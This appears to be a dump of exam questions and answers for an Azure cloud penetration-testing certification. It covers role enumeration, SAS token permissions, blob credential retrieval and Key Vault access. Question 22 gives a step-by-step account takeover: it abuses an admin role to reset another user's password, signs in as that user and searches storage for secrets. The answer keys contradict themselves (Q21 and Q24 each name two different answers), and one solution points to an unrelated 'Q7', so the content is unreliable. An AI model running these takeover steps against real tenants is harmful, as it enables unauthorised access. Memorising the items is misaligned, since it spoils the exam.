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| Section | Weight | Objectives |
|---|---|---|
| Lateral Movement & Tenant Compromise | 20% | - API and Azure management endpoint exploitation - Cross-resource and subscription hopping - Compute, storage, and network pivoting - Hybrid identity and on-prem integration abuse |
| Post-Exploitation & Persistence | 15% | - Defense evasion in Azure environment - Full attack chain demonstration - Data collection and exfiltration techniques - Maintaining persistent access |
| Privilege Escalation | 25% | - Entra ID role and permission abuse - Service Principal and App Registration attacks - Managed Identity exploitation - Key Vault and secret management misconfigurations |
| Initial Access | 20% | - Token and session abuse - Consent phishing and application abuse - Password spraying and credential stuffing - Exposed secrets and configuration flaws |
| Reconnaissance & Enumeration | 20% | - Azure resource discovery - DNS, endpoints, and exposed services mapping - Entra ID (Azure AD) enumeration - Azure tenant and domain enumeration |
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NEW QUESTION # 20
A compromised principal has permission to list role assignments. Identify which user has the User Access Administrator role at the resource group scope.
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
olivia.admin@cloudcorpsec.onmicrosoft.com
Detailed Solution:
Run:
az role assignment list \
--resource-group rg-prod-apps-eastus \
--all \
--output table
Or filter by role:
az role assignment list \
--resource-group rg-prod-apps-eastus \
--role " User Access Administrator " \
--query " [].{Principal:principalName,Role:roleDefinitionName,Scope:scope} " \
--output table
Expected output:
Principal Role Scope
------------------------------------- ------------------------- ---------------------------- olivia.admin@cloudcorpsec.onmicrosoft.com User Access Administrator /subscriptions/.../rg-prod-apps-eastus Final answer:
olivia.admin@cloudcorpsec.onmicrosoft.com
NEW QUESTION # 21
You find a SAS token in a table entity. The token starts with:
?sv=2025-01-05 & ss=b & srt=sco & sp=rl & se=2026-08-01T00:00:00Z
Which permissions does sp=rl grant?
Answer: C
Explanation:
Detailed Solution:
In Azure Storage SAS tokens, sp means signed permissions.
For blob/container access:
r = read
l = list
w = write
d = delete
c = create
a = add
Given:
sp=rl
The permissions are:
Read + List
Correct answer:
A). Read and List
SAS tokens grant delegated access to Azure Storage resources and must be handled like secrets.
NEW QUESTION # 22
Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information. What is the flag uncovered during this activity?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.
az ad user update \
--id lila.nguyen@azuresecops.onmicrosoft.com \
--password ' NewP@ssw0rd12345! ' \
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! ' Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list \
--account-name excaliburstore \
--auth-mode login \
--output table
Query each table:
az storage entity query \
--account-name excaliburstore \
--table-name < table-name > \
--auth-mode login \
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do echo " ===== $table ===== " az storage entity query \
--account-name excaliburstore \
--table-name " $table " \
--auth-mode login \
--output table
done
Search the output for:
Flag
SAS
token
container
storage
secret
The flag discovered in this stage is the Q7 answer.
Final answer:
Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.
nguyen@azuresecops.onmicrosoft.com.
NEW QUESTION # 23
Inside the public blob container, a file named backup-config.json contains service principal credentials. What field contains the App Registration client ID?
Answer: B
Explanation:
Detailed Solution:
Download the blob:
az storage blob download \
--account-name prodreportstore01 \
--container-name public-backups \
--name backup-config.json \
--file backup-config.json \
--auth-mode login
Read the file:
cat backup-config.json
Expected structure:
{
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,
" clientId " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,
" clientSecret " : " REDACTED "
}
The App Registration application/client ID is stored in:
clientId
NEW QUESTION # 24
The compromised service principal has Contributor access to a resource group but no direct Key Vault data- plane role. Can it immediately read Key Vault secret values?
Answer: A
Explanation:
Detailed Solution:
Contributor allows broad management-plane operations but does not inherently grant secret-value retrieval from Key Vault data plane.
Test secret read:
az keyvault secret show \
--vault-name kv-finance-prod \
--name db-password \
--query value \
--output tsv
Expected failure:
Forbidden
Correct answer:
B). No, Contributor does not automatically grant Key Vault secret data-plane read Key Vault access can be controlled by Azure RBAC or access policies, and secret read requires appropriate data-plane permission.
NEW QUESTION # 25
......
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